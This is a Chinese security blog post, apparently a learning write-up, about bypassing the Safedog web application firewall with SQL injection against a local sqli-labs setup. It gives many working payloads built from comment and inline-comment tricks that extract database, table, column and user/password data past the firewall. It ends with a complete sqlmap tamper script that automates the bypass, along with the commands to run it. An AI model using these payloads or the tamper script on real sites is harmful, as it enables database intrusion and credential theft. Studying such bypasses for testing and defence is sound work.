文章首发于先知社区https://xz.aliyun.com/t/11412
文章同步于个人博客https://www.quan9i.top/2022/06/09/从sql注入绕过最新安全狗waf中学习fuzz及tamper脚本/
SQL注入并不是很精通,通过实战绕过WAF来进行加强SQL注入能力,希望对正在学习的师傅能有一丝帮助。
我是本地搭建的环境进行测试的
环境是windows11+phpstudy2018+sqli-labs
phpstudy的安装我不再复述,这里简单说一下安全狗插件和安全狗的安装。
在安装安全狗之前,一定要先做好安装apache2.4
这一项,否则可能要浪费半个下午的时间来整(受害者本人自述了属于是),因为在提前安装好这个后,再安装安全狗,就会出现如下图所示的情况,这时候就很容易进行配置了
而如果你后安装apache2.4,出现Apache插件安装失败的可能性极大,那我们要怎么安装apache2.4呢,很简单,首先找到你apache下的bin路径,我的是"D:\phpStudy\PHPTutorial\Apache\bin"
,然后进入cmd中(以管理员身份运行)
C:\Windows\system32>d:
D:\>cd D:\phpStudy\PHPTutorial\Apache\bin
D:\phpStudy\PHPTutorial\Apache\bin> httpd -k install -n apache2.4
//安装插件
此时插件的安装就完成了,直接去官网找Apache版本的安全狗
下载到本地即可,此时进行安装(不要开启phpstudy),此时选择好安装路径后就会出现配置界面,它安装过插件的话一般是会自动检测的
此时直接点击确定就好了,然后打开就会发现插件是已安装的
此时看安全狗这个网站安全狗与防护总开关是否都开启,只有都开启了才有效,此时再去打开phpstudy,一般他就应该是自己变成系统服务了,如果没变的话就再选择一下即可
然后此时的话这个防护网站变成1个就说明配置好了
去访问网站就可以发现安全狗生效了
首先这里的话是尝试一个1=1,发现是不可以的
更换成true=true进行尝试
仍然不行,此时发现当and和后面没有空格的时候就会报错
我们这里尝试用/**/来充当注释符
发现还是被过滤了,此时我们就利用bp来进行fuzz,抓包后在/**/中添加变量(为爆破做准备)
选择暴力破解,字符集就选/!*
进行测试即可
得到结果
发现很多都可以充当空格来进行绕过,我们随意挑选一个进行尝试,构造payload如下
id=1' and/**/1 --+
当然常见的还有一个内联注释符,就是/*!00000*/
这种的,用实例来解释是最好理解的
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.53 |
+-----------+
1 row in set (0.00 sec)
mysql> select /*!999991*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
mysql> select /*!000001*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!505531*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!505541*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
这种注释在mysql中叫做内联注释,如果没有接版本号时,会直接执行里面内容。当!后面接数据库版本号时,如果自身版本号(上述例子中的5.5.53)大于等于字符数(例如上述例子中的99999和00000),就会将注释中的内容执行,否则就会当做注释来处理。
那么这里的话,我们就想构造1=1,就可以利用它来进行绕过,我们构造如下/*!000001*/=/*!000001*/
语句尝试进行绕过
可以发现成功绕过了
直接利用的话可以发现是不可以的
由1=1的构造思路,我们尝试构造空格来进行绕过,构造payload如下
id=1' order/**/by 3 --+
id=1' order/**/by 4 --+
首先的话是想利用内联注释来进行一个绕过,因为单独的一个union和单独的select都是可以的,此时我就想利用它内联注释字符数大于版本号时将其内语句作为注释来进行一个绕过,
测试过程如下
选择暴力破解,设置0-9依次进行爆破
而后得到结果
发现这种利用垃圾字符的内联注释方式无法再次绕过,此时我们去尝试进行其他方法,想到之前的fuzz/**/中间加东西可以绕过,不妨试一下这种,设置如下
选择暴力破解,将字符集进行更换即可
得到结果
发现有很多可以绕过的,随便选一个来进行测试,构造payload如下
id=-1' union/*/!*!**/select 1,2,3--+
可以发现正常执行了,说明绕过了,这里再给出几个payload,师傅们可以自行测试
id=-1' union/*//--**/select 1,2,3--+
id=-1' union/*/!--**/select 1,2,3--+
id=-1' union/*/-*!!*/select 1,2,3--+
此时直接去将3变成database()会被绕过,此时我是想用/*xxx*/()
这种方式来进行绕过,利用bp设置如下
而后如下设置暴力破解
得到结果
可以发现有很多方式,我们随便挑选一个进行测试
id=-1' union/*/!*!**/select 1,2,database/*///-*/()--+
/*!*/
内联注释法)我们设置payload为/*!()*/
这种,利用bp在括号前面加上五个数字,依次来检验哪个可以进行绕过,具体设置如下
而后选暴力破解,设置如下
得到结果
随机取出一个进行测试,构造payload如下
id=-1' union/*/!*!**/select 1,2,database/*!20553()*/--+
正常的话语句一般是这个样子
group_concat(table_name) from information_schema.tables where table_schema=database()
那么这里的话我们测试过后就会发现information_schema被过滤了,它俩只要在一起挨着就会被过滤
同时呢,我们也发现利用from的时候也会被过滤
对这两个进行分别fuzz的话比较麻烦,而且将两者进行一起用时可能会出现仍然被过滤的情况,因此此时的话就自然的想到了内联注释这种方法,可不可以用这种方法来进行绕过呢,我们先尝试一下
from/*!information_schema.tables*/
结果如下
显然这种是不可行的,但是我们知道还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,也就是/*!%23%0a*/
这种形式,我们先进行本地测试
mysql> select /*!#
-> 1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!#/*
-> 1*/
-> ;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
此时经过本地测试发现,当运用内联注释时,里面插入/*,来构造/**/
,也是可以实现绕过的,此时我们先试本地测试的第一种方法
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23%0ainformation_schema.tables*/ where table_schema='security'--+
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23/*%0ainformation_schema.tables*/ where table_schema='security'--+
此时想有没有可能是过滤了%23,我们将%23换成--+
构造payload如下
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/ where table_schema='security'--+
有了表名的注入,那么注入列名也不是件太难的事情,修改一下语句即可,构造payload如下
?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+
同理,修改语句即可
?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+
在学习其他师傅的文章时,偶然间发现这个like["%23"]
,这个的话我们知道%23是注释符的含义,那么在这里的时候,它这个语句到底有什么作用呢,我们测试一下就知道了
首先先正常查一个字段信息
select * from users where id=1 ;
此时可以发现有一个结果,我们加上我们的like["%23"]
,构造payload如下
select * from users where id=1 like "[%23]";
select * from users where id=1 like "[%23]" union select * from users;
我们知道前面users where id=1 like "[%23]"
这个是空,那它这条语句就相当于
select * from users
id=-1' like "[%23]" /*!10440union select*/ 1,2,3 --+
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
此时就可以注入了,因此新的姿势就出现了,其他具体的不再列举,这里给出payload
//爆库
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/*!--+/*%0a()*/ --+
//爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+
//爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+
//爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/*!--+/*%0ausers*/--+
脚本如下
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:quan9i.top
"""
import re #导入re模块
import os #导入os模块
from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试SQL注入的过程中,使用的配置文件事先全部被加载到了conf和kb
from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数,LOWEST = -100,LOWER = -50,LOW = -10,NORMAL = 0,HIGH = 10,HIGHER = 50,HIGHEST = 100
from lib.core.common import singleTimeWarnMessage#输出到sqlmap控制台的函数
from lib.core.enums import DBMS#一个数据库的枚举
__priority__ = PRIORITY.LOW#定义优先级为LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))# singleTimeWarnMessage() 用于在控制台中打印出警告信息
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!10000AND*/')
payload=payload.replace('OR','/*!10000OR*/')
payload=payload.replace('ORDER BY','ORDER/**/BY')
payload=payload.replace('()','/*!20553()*/')
payload=payload.replace('UNION SELECT','UNION/*/!*!**/SELECT')
payload=payload.replace('information_schema.tables','/*!%23%0ainformation_schema.tables*/')
return payload
示例如下
//检测可注入类型
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --tamper=dog
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --dbs --tamper=dog -v5
https://xz.aliyun.com/t/10479#toc-0
https://zhuanlan.zhihu.com/p/472880971
https://www.cnblogs.com/Cl0ud/p/14394627.html
https://cloud.tencent.com/developer/article/1856738
https://blog.csdn.net/weixin_39190897/article/details/115841059
https://blog.csdn.net/Drifter_Galaxy/article/details/108435339
https://www.freebuf.com/articles/web/321240.html
https://www.cnblogs.com/Cl0ud/p/14493204.html
https://www.cnblogs.com/Cl0ud/p/14394627.html